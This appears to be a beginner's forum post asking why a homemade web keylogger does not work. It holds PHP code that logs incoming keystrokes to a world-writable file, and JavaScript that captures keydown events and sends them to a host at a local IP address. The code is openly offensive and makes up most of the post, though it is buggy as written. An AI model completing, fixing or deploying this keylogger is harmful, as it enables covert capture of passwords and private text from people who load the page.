hi,
newbie here.
so, i’m trying to code a keylogger.
so i have a txt file: keylog.txt (chmod 777 keylog.txt)
i have a php file:
<?php
$key = $_GET[ ‘key’ ];
$logfile = “keylog.txt”;
file_put_contents($logfile, $key, FILE_APPEND);
?>
and an embedded js:
var presses = [];
window.addEventListener(“keydown”, function(evt){presses.push(evt.key);}
var http = new XMLHttpRequest();
http.open(“GET”,“http://192.168.2.116/key.php”,true);
http.send(“key=”+presses);
but it doesnt work, and im not sure why
does anyone have any idea????